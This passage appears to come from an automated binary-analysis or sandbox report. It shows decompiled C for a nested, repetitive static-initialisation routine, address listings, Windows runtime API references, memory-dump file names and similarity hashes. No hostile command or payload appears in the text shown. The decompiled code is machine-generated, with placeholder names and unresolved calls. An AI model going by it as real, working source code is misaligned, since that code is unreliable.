								goto L5;
							}
						}
					}
					SetLastError(_t26);
					return _t11;
				} else {
					return 0;
				}
			}

0x6dd342cf
0x6dd342e2
0x6dd342e9
0x6dd342ec
0x6dd342ef
0x6dd34308
0x6dd34308
0x6dd342f1
0x6dd342f1
0x6dd342f3
0x6dd342fd
0x6dd34303
0x6dd34304
0x6dd34306
0x6dd3430d
0x6dd3430f
0x6dd34316
0x6dd3431a
0x6dd3431c
0x6dd34330
0x6dd34330
0x6dd34339
0x6dd3431e
0x6dd3432c
0x6dd3432e
0x6dd34342
0x6dd34344
0x6dd34344
0x00000000
0x00000000
0x00000000
0x6dd3432e
0x6dd34347
0x00000000
0x00000000
0x00000000
0x6dd34306
0x6dd342f3
0x6dd3434f
0x6dd34359
0x6dd342d1
0x6dd342d3
0x6dd342d3

APIs

GetLastError.KERNEL32(00000001,?,6DD33EDB,6DD2FA25,6DD2FD54,?,6DD2FF71,?,00000001,?,?,00000001,?,6DDD27E0,0000000C,6DD3006E), ref: 6DD342D6
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6DD342E4
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6DD342FD
SetLastError.KERNEL32(00000000,6DD2FF71,?,00000001,?,?,00000001,?,6DDD27E0,0000000C,6DD3006E,?,00000001,?), ref: 6DD3434F

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: ee06b424693c59597d3bfffb6abbd3525d64b648518d62b8e3c70ea420a5fc13
Instruction ID: f22f22b4ff301e18b03b39e108f67a40884d511e4d1efed3ad9f1d3f7e27e9c6
Opcode Fuzzy Hash: ee06b424693c59597d3bfffb6abbd3525d64b648518d62b8e3c70ea420a5fc13
Instruction Fuzzy Hash: FF01243628E3369FBA0837B4AC95B762674EB0737A327033AF224461D4EF1A48108690

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F4C1, Relevance: 9.1, APIs: 6, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E6DD1F4C1(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t195;
				signed int _t196;
				void* _t208;
				void* _t221;
				void* _t234;
				void* _t247;
				void* _t260;
				void* _t273;
				void* _t286;
				void* _t299;
				void* _t312;
				void* _t325;
				void* _t338;
				void* _t351;
				signed int _t511;
				signed int _t554;
				signed int _t555;
				signed int _t556;
				signed int _t557;
				signed int _t558;
				signed int _t559;
				signed int _t560;
				signed int _t561;
				signed int _t562;
				signed int _t563;
				signed int _t564;
				signed int _t565;
				signed int _t567;
				signed int _t568;
				signed int _t569;
				signed int _t570;
				signed int _t571;
				signed int _t572;
				signed int _t573;
				signed int _t574;
				signed int _t575;
				signed int _t576;
				signed int _t577;
				signed int _t578;
				signed int _t579;
				signed int _t580;
				void* _t594;

				_t551 = __edx;
				_t420 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t594 - 0x14, 0);
				_t567 =  *0x6ddd6dc0; // 0x0
				 *(_t594 - 4) =  *(_t594 - 4) & 0x00000000;
				 *(_t594 - 0x10) = _t567;
				_t195 = E6DCF161C(0x6ddd6d74);
				_t423 =  *((intOrPtr*)(_t594 + 8));
				_t196 = E6DCF171B( *((intOrPtr*)(_t594 + 8)), _t195);
				_t553 = _t196;
				if(_t196 != 0) {
					L5:
					E6DD166BA(_t594 - 0x14);
					return E6DD30075(_t553);
				} else {
					if(_t567 == 0) {
						_push( *((intOrPtr*)(_t594 + 8)));
						_push(_t594 - 0x10);
						__eflags = E6DD210BF(__ebx, _t423, __edx, _t553, _t567) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t594 - 0x20);
							E6DD33D74(_t594 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t553, _t567, 0x14);
							E6DD16653(_t594 - 0x14, 0);
							_t568 =  *0x6ddd6df8; // 0x0
							 *(_t594 - 4) =  *(_t594 - 4) & 0x00000000;
							 *(_t594 - 0x10) = _t568;
							_t208 = E6DCF161C(0x6ddd6da4);
							_t430 =  *((intOrPtr*)(_t594 + 8));
							_t554 = E6DCF171B( *((intOrPtr*)(_t594 + 8)), _t208);
							__eflags = _t554;
							if(_t554 != 0) {
								L12:
								E6DD166BA(_t594 - 0x14);
								return E6DD30075(_t554);
							} else {
								__eflags = _t568;
								if(_t568 == 0) {
									_push( *((intOrPtr*)(_t594 + 8)));
									_push(_t594 - 0x10);
									__eflags = E6DD21127(_t420, _t430, __edx, _t554, _t568) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t594 - 0x20);
										E6DD33D74(_t594 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t420, _t554, _t568, 0x14);
										E6DD16653(_t594 - 0x14, 0);
										_t569 =  *0x6ddd6df4; // 0x0
										 *(_t594 - 4) =  *(_t594 - 4) & 0x00000000;
										 *(_t594 - 0x10) = _t569;
										_t221 = E6DCF161C(0x6ddd6da0);
										_t437 =  *((intOrPtr*)(_t594 + 8));
										_t555 = E6DCF171B( *((intOrPtr*)(_t594 + 8)), _t221);
										__eflags = _t555;
										if(_t555 != 0) {
											L19:
											E6DD166BA(_t594 - 0x14);
											return E6DD30075(_t555);
										} else {
											__eflags = _t569;
											if(_t569 == 0) {
												_push( *((intOrPtr*)(_t594 + 8)));
												_push(_t594 - 0x10);
												__eflags = E6DD211AB(_t420, _t437, __edx, _t555, _t569) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t594 - 0x20);
													E6DD33D74(_t594 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t420, _t555, _t569, 0x14);
													E6DD16653(_t594 - 0x14, 0);
													_t570 =  *0x6ddd6dc8; // 0x0
													 *(_t594 - 4) =  *(_t594 - 4) & 0x00000000;
													 *(_t594 - 0x10) = _t570;
													_t234 = E6DCF161C(0x6ddd6d7c);
													_t444 =  *((intOrPtr*)(_t594 + 8));
													_t556 = E6DCF171B( *((intOrPtr*)(_t594 + 8)), _t234);
													__eflags = _t556;
													if(_t556 != 0) {
														L26:
														E6DD166BA(_t594 - 0x14);
														return E6DD30075(_t556);
													} else {
														__eflags = _t570;
														if(_t570 == 0) {
															_push( *((intOrPtr*)(_t594 + 8)));
															_push(_t594 - 0x10);
															__eflags = E6DD21230(_t420, _t444, _t551, _t556, _t570) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t594 - 0x20);
																E6DD33D74(_t594 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t420, _t556, _t570, 0x14);
																E6DD16653(_t594 - 0x14, 0);
																_t571 =  *0x6ddd6dc4; // 0x0
																 *(_t594 - 4) =  *(_t594 - 4) & 0x00000000;
																 *(_t594 - 0x10) = _t571;
																_t247 = E6DCF161C(0x6ddd6d78);
																_t451 =  *((intOrPtr*)(_t594 + 8));
																_t557 = E6DCF171B( *((intOrPtr*)(_t594 + 8)), _t247);
																__eflags = _t557;
																if(_t557 != 0) {
																	L33:
																	E6DD166BA(_t594 - 0x14);
																	return E6DD30075(_t557);
																} else {
																	__eflags = _t571;
																	if(_t571 == 0) {
																		_push( *((intOrPtr*)(_t594 + 8)));
																		_push(_t594 - 0x10);
																		__eflags = E6DD212B4(_t420, _t451, _t551, _t557, _t571) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t594 - 0x20);
																			E6DD33D74(_t594 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t420, _t557, _t571, 0x14);
																			E6DD16653(_t594 - 0x14, 0);
																			_t572 =  *0x6ddd6dd8; // 0x0
																			 *(_t594 - 4) =  *(_t594 - 4) & 0x00000000;
																			 *(_t594 - 0x10) = _t572;
																			_t260 = E6DCF161C(0x6ddd6d84);
																			_t458 =  *((intOrPtr*)(_t594 + 8));
																			_t558 = E6DCF171B( *((intOrPtr*)(_t594 + 8)), _t260);
																			__eflags = _t558;
																			if(_t558 != 0) {
																				L40:
																				E6DD166BA(_t594 - 0x14);
																				return E6DD30075(_t558);
																			} else {
																				__eflags = _t572;
																				if(_t572 == 0) {
																					_push( *((intOrPtr*)(_t594 + 8)));
																					_push(_t594 - 0x10);
																					__eflags = E6DD21339(_t420, _t458, _t551, _t558, _t572) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t594 - 0x20);
																						E6DD33D74(_t594 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t420, _t558, _t572, 0x14);
																						E6DD16653(_t594 - 0x14, 0);
																						_t573 =  *0x6ddd6db0; // 0x0
																						 *(_t594 - 4) =  *(_t594 - 4) & 0x00000000;
																						 *(_t594 - 0x10) = _t573;
																						_t273 = E6DCF161C(0x6ddd6d64);
																						_t465 =  *((intOrPtr*)(_t594 + 8));
																						_t559 = E6DCF171B( *((intOrPtr*)(_t594 + 8)), _t273);
																						__eflags = _t559;
																						if(_t559 != 0) {
																							L47:
																							E6DD166BA(_t594 - 0x14);
																							return E6DD30075(_t559);
																						} else {
																							__eflags = _t573;
																							if(_t573 == 0) {
																								_push( *((intOrPtr*)(_t594 + 8)));
																								_push(_t594 - 0x10);
																								__eflags = E6DD213A1(_t420, _t465, _t551, _t559, _t573) - 0xffffffff;
																								if(__eflags == 0) {
																									E6DCF1438(_t594 - 0x20);
																									E6DD33D74(_t594 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd783cf, _t420, _t559, _t573, 0x14);
																									E6DD16653(_t594 - 0x14, 0);
																									_t574 =  *0x6ddd6ddc; // 0x0
																									 *(_t594 - 4) =  *(_t594 - 4) & 0x00000000;
																									 *(_t594 - 0x10) = _t574;
																									_t286 = E6DCF161C(0x6ddd6d88);
																									_t472 =  *((intOrPtr*)(_t594 + 8));
																									_t560 = E6DCF171B( *((intOrPtr*)(_t594 + 8)), _t286);
																									__eflags = _t560;
																									if(_t560 != 0) {
																										L54:
																										E6DD166BA(_t594 - 0x14);
																										return E6DD30075(_t560);
																									} else {
																										__eflags = _t574;
																										if(_t574 == 0) {
																											_push( *((intOrPtr*)(_t594 + 8)));
																											_push(_t594 - 0x10);
																											__eflags = E6DD21409(_t420, _t472, _t551, _t560, _t574) - 0xffffffff;
																											if(__eflags == 0) {
																												E6DCF1438(_t594 - 0x20);
																												E6DD33D74(_t594 - 0x20, 0x6ddd3504);
																												asm("int3");
																												E6DD300AC(0x6dd783cf, _t420, _t560, _t574, 0x14);
																												E6DD16653(_t594 - 0x14, 0);
																												_t575 =  *0x6ddd6de0; // 0x0
																												 *(_t594 - 4) =  *(_t594 - 4) & 0x00000000;
																												 *(_t594 - 0x10) = _t575;
																												_t299 = E6DCF161C(0x6ddd6d8c);
																												_t479 =  *((intOrPtr*)(_t594 + 8));
																												_t561 = E6DCF171B( *((intOrPtr*)(_t594 + 8)), _t299);
																												__eflags = _t561;
																												if(_t561 != 0) {
																													L61:
																													E6DD166BA(_t594 - 0x14);
																													return E6DD30075(_t561);
																												} else {
																													__eflags = _t575;
																													if(_t575 == 0) {
																														_push( *((intOrPtr*)(_t594 + 8)));
																														_push(_t594 - 0x10);
																														__eflags = E6DD21471(_t420, _t479, _t551, _t561, _t575) - 0xffffffff;
																														if(__eflags == 0) {
																															E6DCF1438(_t594 - 0x20);
																															E6DD33D74(_t594 - 0x20, 0x6ddd3504);
																															asm("int3");
																															E6DD300AC(0x6dd783cf, _t420, _t561, _t575, 0x14);
																															E6DD16653(_t594 - 0x14, 0);
																															_t576 =  *0x6ddd6dfc; // 0x0
																															 *(_t594 - 4) =  *(_t594 - 4) & 0x00000000;
																															 *(_t594 - 0x10) = _t576;
																															_t312 = E6DCF161C(0x6ddd6da8);
																															_t486 =  *((intOrPtr*)(_t594 + 8));
																															_t562 = E6DCF171B( *((intOrPtr*)(_t594 + 8)), _t312);
																															__eflags = _t562;
																															if(_t562 != 0) {
																																L68:
																																E6DD166BA(_t594 - 0x14);
																																return E6DD30075(_t562);
																															} else {
																																__eflags = _t576;
																																if(_t576 == 0) {
																																	_push( *((intOrPtr*)(_t594 + 8)));
																																	_push(_t594 - 0x10);
																																	__eflags = E6DD214EC(_t420, _t486, _t551, _t562, _t576) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E6DCF1438(_t594 - 0x20);
																																		E6DD33D74(_t594 - 0x20, 0x6ddd3504);
																																		asm("int3");
																																		E6DD300AC(0x6dd783cf, _t420, _t562, _t576, 0x14);
																																		E6DD16653(_t594 - 0x14, 0);
																																		_t577 =  *0x6ddd6dcc; // 0x0
																																		 *(_t594 - 4) =  *(_t594 - 4) & 0x00000000;
																																		 *(_t594 - 0x10) = _t577;
																																		_t325 = E6DCF161C(0x6ddd6d80);
																																		_t493 =  *((intOrPtr*)(_t594 + 8));
																																		_t563 = E6DCF171B( *((intOrPtr*)(_t594 + 8)), _t325);
																																		__eflags = _t563;
																																		if(_t563 != 0) {
																																			L75:
																																			E6DD166BA(_t594 - 0x14);
																																			return E6DD30075(_t563);
																																		} else {
																																			__eflags = _t577;
																																			if(_t577 == 0) {
																																				_push( *((intOrPtr*)(_t594 + 8)));
																																				_push(_t594 - 0x10);
																																				__eflags = E6DD21558(_t420, _t493, _t551, _t563, _t577) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E6DCF1438(_t594 - 0x20);
																																					E6DD33D74(_t594 - 0x20, 0x6ddd3504);
																																					asm("int3");
																																					E6DD300AC(0x6dd783cf, _t420, _t563, _t577, 0x14);
																																					E6DD16653(_t594 - 0x14, 0);
																																					_t578 =  *0x6ddd6e00; // 0x0
																																					 *(_t594 - 4) =  *(_t594 - 4) & 0x00000000;
																																					 *(_t594 - 0x10) = _t578;
																																					_t338 = E6DCF161C(0x6ddd6dac);
																																					_t500 =  *((intOrPtr*)(_t594 + 8));
																																					_t564 = E6DCF171B( *((intOrPtr*)(_t594 + 8)), _t338);
																																					__eflags = _t564;
																																					if(_t564 != 0) {
																																						L82:
																																						E6DD166BA(_t594 - 0x14);
																																						return E6DD30075(_t564);
																																					} else {
																																						__eflags = _t578;
																																						if(_t578 == 0) {
																																							_push( *((intOrPtr*)(_t594 + 8)));
																																							_push(_t594 - 0x10);
																																							__eflags = E6DD215C4(_t420, _t500, _t551, _t564, _t578) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E6DCF1438(_t594 - 0x20);
																																								E6DD33D74(_t594 - 0x20, 0x6ddd3504);
																																								asm("int3");
																																								E6DD300AC(0x6dd783cf, _t420, _t564, _t578, 0x14);
																																								E6DD16653(_t594 - 0x14, 0);
																																								_t579 =  *0x6ddd6dd0; // 0x0
																																								 *(_t594 - 4) =  *(_t594 - 4) & 0x00000000;
																																								 *(_t594 - 0x10) = _t579;
																																								_t351 = E6DCF161C(0x6ddd6d60);
																																								_t507 =  *((intOrPtr*)(_t594 + 8));
																																								_t565 = E6DCF171B( *((intOrPtr*)(_t594 + 8)), _t351);
																																								__eflags = _t565;
																																								if(_t565 != 0) {
																																									L89:
																																									E6DD166BA(_t594 - 0x14);
																																									return E6DD30075(_t565);
																																								} else {
																																									__eflags = _t579;
																																									if(_t579 == 0) {
																																										_push( *((intOrPtr*)(_t594 + 8)));
																																										_push(_t594 - 0x10);
																																										__eflags = E6DD2162A(_t420, _t507, _t551, _t565, _t579) - 0xffffffff;
																																										if(__eflags == 0) {
																																											_t511 = _t594 - 0x20;
																																											E6DCF1438(_t511);
																																											E6DD33D74(_t594 - 0x20, 0x6ddd3504);
																																											asm("int3");
																																											E6DD300AC(0x6dd7851f, _t420, _t565, _t579, 4);
																																											_t580 = _t511;
																																											 *(_t594 - 0x10) = _t580;
																																											 *((intOrPtr*)(_t580 + 4)) =  *((intOrPtr*)(_t594 + 0xc));
																																											_push( *((intOrPtr*)(_t594 + 0x14)));
																																											_t189 = _t594 - 4;
																																											 *_t189 =  *(_t594 - 4) & 0x00000000;
																																											__eflags =  *_t189;
																																											 *_t580 = 0x6dd7c0c4;
																																											 *((char*)(_t580 + 0x28)) =  *((intOrPtr*)(_t594 + 0x10));
																																											E6DD2542F(_t420, _t511, _t551, _t565, _t580,  *_t189);
																																											return E6DD30075(_t580,  *((intOrPtr*)(_t594 + 8)));
																																										} else {
																																											_t565 =  *(_t594 - 0x10);
																																											 *(_t594 - 0x10) = _t565;
																																											 *(_t594 - 4) = 1;
																																											E6DD16FD3(__eflags, _t565);
																																											 *0x6dd7a26c();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t565 + 4))))();
																																											 *0x6ddd6dd0 = _t565;
																																											goto L89;
																																										}
																																									} else {
																																										_t565 = _t579;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t564 =  *(_t594 - 0x10);
																																								 *(_t594 - 0x10) = _t564;
																																								 *(_t594 - 4) = 1;
																																								E6DD16FD3(__eflags, _t564);
																																								 *0x6dd7a26c();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t564 + 4))))();
																																								 *0x6ddd6e00 = _t564;
																																								goto L82;
																																							}
																																						} else {
																																							_t564 = _t578;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t563 =  *(_t594 - 0x10);
																																					 *(_t594 - 0x10) = _t563;
																																					 *(_t594 - 4) = 1;
																																					E6DD16FD3(__eflags, _t563);
																																					 *0x6dd7a26c();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t563 + 4))))();
																																					 *0x6ddd6dcc = _t563;
																																					goto L75;
																																				}
																																			} else {
																																				_t563 = _t577;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t562 =  *(_t594 - 0x10);
																																		 *(_t594 - 0x10) = _t562;
																																		 *(_t594 - 4) = 1;
																																		E6DD16FD3(__eflags, _t562);
																																		 *0x6dd7a26c();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t562 + 4))))();
																																		 *0x6ddd6dfc = _t562;
																																		goto L68;
																																	}
																																} else {
																																	_t562 = _t576;
																																	goto L68;
																																}
																															}
																														} else {
																															_t561 =  *(_t594 - 0x10);
																															 *(_t594 - 0x10) = _t561;
																															 *(_t594 - 4) = 1;
																															E6DD16FD3(__eflags, _t561);
																															 *0x6dd7a26c();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t561 + 4))))();
																															 *0x6ddd6de0 = _t561;
																															goto L61;
																														}
																													} else {
																														_t561 = _t575;
																														goto L61;
																													}
																												}
																											} else {
																												_t560 =  *(_t594 - 0x10);
																												 *(_t594 - 0x10) = _t560;
																												 *(_t594 - 4) = 1;
																												E6DD16FD3(__eflags, _t560);
																												 *0x6dd7a26c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t560 + 4))))();
																												 *0x6ddd6ddc = _t560;
																												goto L54;
																											}
																										} else {
																											_t560 = _t574;
																											goto L54;
																										}
																									}
																								} else {
																									_t559 =  *(_t594 - 0x10);
																									 *(_t594 - 0x10) = _t559;
																									 *(_t594 - 4) = 1;
																									E6DD16FD3(__eflags, _t559);
																									 *0x6dd7a26c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t559 + 4))))();
																									 *0x6ddd6db0 = _t559;
																									goto L47;
																								}
																							} else {
																								_t559 = _t573;
																								goto L47;
																							}
																						}
																					} else {
																						_t558 =  *(_t594 - 0x10);
																						 *(_t594 - 0x10) = _t558;
																						 *(_t594 - 4) = 1;
																						E6DD16FD3(__eflags, _t558);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t558 + 4))))();
																						 *0x6ddd6dd8 = _t558;
																						goto L40;
																					}
																				} else {
																					_t558 = _t572;
																					goto L40;
																				}
																			}
																		} else {
																			_t557 =  *(_t594 - 0x10);
																			 *(_t594 - 0x10) = _t557;
																			 *(_t594 - 4) = 1;
																			E6DD16FD3(__eflags, _t557);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t557 + 4))))();
																			 *0x6ddd6dc4 = _t557;
																			goto L33;
																		}
																	} else {
																		_t557 = _t571;
																		goto L33;
																	}
																}
															} else {
																_t556 =  *(_t594 - 0x10);
																 *(_t594 - 0x10) = _t556;
																 *(_t594 - 4) = 1;
																E6DD16FD3(__eflags, _t556);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t556 + 4))))();
																 *0x6ddd6dc8 = _t556;
																goto L26;
															}
														} else {
															_t556 = _t570;
															goto L26;
														}
													}
												} else {
													_t555 =  *(_t594 - 0x10);
													 *(_t594 - 0x10) = _t555;
													 *(_t594 - 4) = 1;
													E6DD16FD3(__eflags, _t555);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t555 + 4))))();
													 *0x6ddd6df4 = _t555;
													goto L19;
												}
											} else {
												_t555 = _t569;
												goto L19;
											}
										}
									} else {
										_t554 =  *(_t594 - 0x10);
										 *(_t594 - 0x10) = _t554;
										 *(_t594 - 4) = 1;
										E6DD16FD3(__eflags, _t554);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t554 + 4))))();
										 *0x6ddd6df8 = _t554;
										goto L12;
									}
								} else {
									_t554 = _t568;
									goto L12;
								}
							}
						} else {
							_t553 =  *(_t594 - 0x10);
							 *(_t594 - 0x10) = _t553;
							 *(_t594 - 4) = 1;
							E6DD16FD3(__eflags, _t553);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t553 + 4))))();
							 *0x6ddd6dc0 = _t553;
							goto L5;
						}
					} else {
						_t553 = _t567;
						goto L5;
					}
				}
			}

0x6dd1f4c1
0x6dd1f4c1
0x6dd1f4c8
0x6dd1f4d2
0x6dd1f4d7
0x6dd1f4e2
0x6dd1f4e6
0x6dd1f4e9
0x6dd1f4ee
0x6dd1f4f2
0x6dd1f4f7
0x6dd1f4fb
0x6dd1f540
0x6dd1f543
0x6dd1f54f
0x6dd1f4fd
0x6dd1f4ff
0x6dd1f505
0x6dd1f50b
0x6dd1f513
0x6dd1f516
0x6dd1f553
0x6dd1f561
0x6dd1f566
0x6dd1f56e
0x6dd1f578
0x6dd1f57d
0x6dd1f588
0x6dd1f58c
0x6dd1f58f
0x6dd1f594
0x6dd1f59d
0x6dd1f59f
0x6dd1f5a1
0x6dd1f5e6
0x6dd1f5e9
0x6dd1f5f5
0x6dd1f5a3
0x6dd1f5a3
0x6dd1f5a5
0x6dd1f5ab
0x6dd1f5b1
0x6dd1f5b9
0x6dd1f5bc
0x6dd1f5f9
0x6dd1f607
0x6dd1f60c
0x6dd1f614
0x6dd1f61e
0x6dd1f623
0x6dd1f62e
0x6dd1f632
0x6dd1f635
0x6dd1f63a
0x6dd1f643
0x6dd1f645
0x6dd1f647
0x6dd1f68c
0x6dd1f68f
0x6dd1f69b
0x6dd1f649
0x6dd1f649
0x6dd1f64b
0x6dd1f651
0x6dd1f657
0x6dd1f65f
0x6dd1f662
0x6dd1f69f
0x6dd1f6ad
0x6dd1f6b2
0x6dd1f6ba
0x6dd1f6c4
0x6dd1f6c9
0x6dd1f6d4
0x6dd1f6d8
0x6dd1f6db
0x6dd1f6e0
0x6dd1f6e9
0x6dd1f6eb
0x6dd1f6ed
0x6dd1f732
0x6dd1f735
0x6dd1f741
0x6dd1f6ef
0x6dd1f6ef
0x6dd1f6f1
0x6dd1f6f7
0x6dd1f6fd
0x6dd1f705
0x6dd1f708
0x6dd1f745
0x6dd1f753
0x6dd1f758
0x6dd1f760
0x6dd1f76a
0x6dd1f76f
0x6dd1f77a
0x6dd1f77e
0x6dd1f781
0x6dd1f786
0x6dd1f78f
0x6dd1f791
0x6dd1f793
0x6dd1f7d8
0x6dd1f7db
0x6dd1f7e7
0x6dd1f795
0x6dd1f795
0x6dd1f797
0x6dd1f79d
0x6dd1f7a3
0x6dd1f7ab
0x6dd1f7ae
0x6dd1f7eb
0x6dd1f7f9
0x6dd1f7fe
0x6dd1f806
0x6dd1f810
0x6dd1f815
0x6dd1f820
0x6dd1f824
0x6dd1f827
0x6dd1f82c
0x6dd1f835
0x6dd1f837
0x6dd1f839
0x6dd1f87e
0x6dd1f881
0x6dd1f88d
0x6dd1f83b
0x6dd1f83b
0x6dd1f83d
0x6dd1f843
0x6dd1f849
0x6dd1f851
0x6dd1f854
0x6dd1f891
0x6dd1f89f
0x6dd1f8a4
0x6dd1f8ac
0x6dd1f8b6
0x6dd1f8bb
0x6dd1f8c6
0x6dd1f8ca
0x6dd1f8cd
0x6dd1f8d2
0x6dd1f8db
0x6dd1f8dd
0x6dd1f8df
0x6dd1f924
0x6dd1f927
0x6dd1f933
0x6dd1f8e1
0x6dd1f8e1
0x6dd1f8e3
0x6dd1f8e9
0x6dd1f8ef
0x6dd1f8f7
0x6dd1f8fa
0x6dd1f937
0x6dd1f945
0x6dd1f94a
0x6dd1f952
0x6dd1f95c
0x6dd1f961
0x6dd1f96c
0x6dd1f970
0x6dd1f973
0x6dd1f978
0x6dd1f981
0x6dd1f983
0x6dd1f985
0x6dd1f9ca
0x6dd1f9cd
0x6dd1f9d9
0x6dd1f987
0x6dd1f987
0x6dd1f989
0x6dd1f98f
0x6dd1f995
0x6dd1f99d
0x6dd1f9a0
0x6dd1f9dd
0x6dd1f9eb
0x6dd1f9f0
0x6dd1f9f8
0x6dd1fa02
0x6dd1fa07
0x6dd1fa12
0x6dd1fa16
0x6dd1fa19
0x6dd1fa1e
0x6dd1fa27
0x6dd1fa29
0x6dd1fa2b
0x6dd1fa70
0x6dd1fa73
0x6dd1fa7f
0x6dd1fa2d
0x6dd1fa2d
0x6dd1fa2f
0x6dd1fa35
0x6dd1fa3b
0x6dd1fa43
0x6dd1fa46
0x6dd1fa83
0x6dd1fa91
0x6dd1fa96
0x6dd1fa9e
0x6dd1faa8
0x6dd1faad
0x6dd1fab8
0x6dd1fabc
0x6dd1fabf
0x6dd1fac4
0x6dd1facd
0x6dd1facf
0x6dd1fad1
0x6dd1fb16
0x6dd1fb19
0x6dd1fb25
0x6dd1fad3
0x6dd1fad3
0x6dd1fad5
0x6dd1fadb
0x6dd1fae1
0x6dd1fae9
0x6dd1faec
0x6dd1fb29
0x6dd1fb37
0x6dd1fb3c
0x6dd1fb44
0x6dd1fb4e
0x6dd1fb53
0x6dd1fb5e
0x6dd1fb62
0x6dd1fb65
0x6dd1fb6a
0x6dd1fb73
0x6dd1fb75
0x6dd1fb77
0x6dd1fbbc
0x6dd1fbbf
0x6dd1fbcb
0x6dd1fb79
0x6dd1fb79
0x6dd1fb7b
0x6dd1fb81
0x6dd1fb87
0x6dd1fb8f
0x6dd1fb92
0x6dd1fbcf
0x6dd1fbdd
0x6dd1fbe2
0x6dd1fbea
0x6dd1fbf4
0x6dd1fbf9
0x6dd1fc04
0x6dd1fc08
0x6dd1fc0b
0x6dd1fc10
0x6dd1fc19
0x6dd1fc1b
0x6dd1fc1d
0x6dd1fc62
0x6dd1fc65
0x6dd1fc71
0x6dd1fc1f
0x6dd1fc1f
0x6dd1fc21
0x6dd1fc27
0x6dd1fc2d
0x6dd1fc35
0x6dd1fc38
0x6dd1fc75
0x6dd1fc83
0x6dd1fc88
0x6dd1fc90
0x6dd1fc9a
0x6dd1fc9f
0x6dd1fcaa
0x6dd1fcae
0x6dd1fcb1
0x6dd1fcb6
0x6dd1fcbf
0x6dd1fcc1
0x6dd1fcc3
0x6dd1fd08
0x6dd1fd0b
0x6dd1fd17
0x6dd1fcc5
0x6dd1fcc5
0x6dd1fcc7
0x6dd1fccd
0x6dd1fcd3
0x6dd1fcdb
0x6dd1fcde
0x6dd1fd18
0x6dd1fd1b
0x6dd1fd29
0x6dd1fd2e
0x6dd1fd36
0x6dd1fd3b
0x6dd1fd3d
0x6dd1fd43
0x6dd1fd46
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd53
0x6dd1fd59
0x6dd1fd5c
0x6dd1fd68
0x6dd1fce0
0x6dd1fce0
0x6dd1fce3
0x6dd1fce7
0x6dd1fceb
0x6dd1fcf8
0x6dd1fd00
0x6dd1fd02
0x00000000
0x6dd1fd02
0x6dd1fcc9
0x6dd1fcc9
0x00000000
0x6dd1fcc9
0x6dd1fcc7
0x6dd1fc3a
0x6dd1fc3a
0x6dd1fc3d
0x6dd1fc41
0x6dd1fc45
0x6dd1fc52
0x6dd1fc5a
0x6dd1fc5c
0x00000000
0x6dd1fc5c
0x6dd1fc23
0x6dd1fc23
0x00000000
0x6dd1fc23
0x6dd1fc21
0x6dd1fb94
0x6dd1fb94
0x6dd1fb97
0x6dd1fb9b
0x6dd1fb9f
0x6dd1fbac
0x6dd1fbb4
0x6dd1fbb6
0x00000000
0x6dd1fbb6
0x6dd1fb7d
0x6dd1fb7d
0x00000000
0x6dd1fb7d
0x6dd1fb7b
0x6dd1faee
0x6dd1faee
0x6dd1faf1
0x6dd1faf5
0x6dd1faf9
0x6dd1fb06
0x6dd1fb0e
0x6dd1fb10
0x00000000
0x6dd1fb10
0x6dd1fad7
0x6dd1fad7
0x00000000
0x6dd1fad7
0x6dd1fad5
0x6dd1fa48
0x6dd1fa48
0x6dd1fa4b
0x6dd1fa4f
0x6dd1fa53
0x6dd1fa60
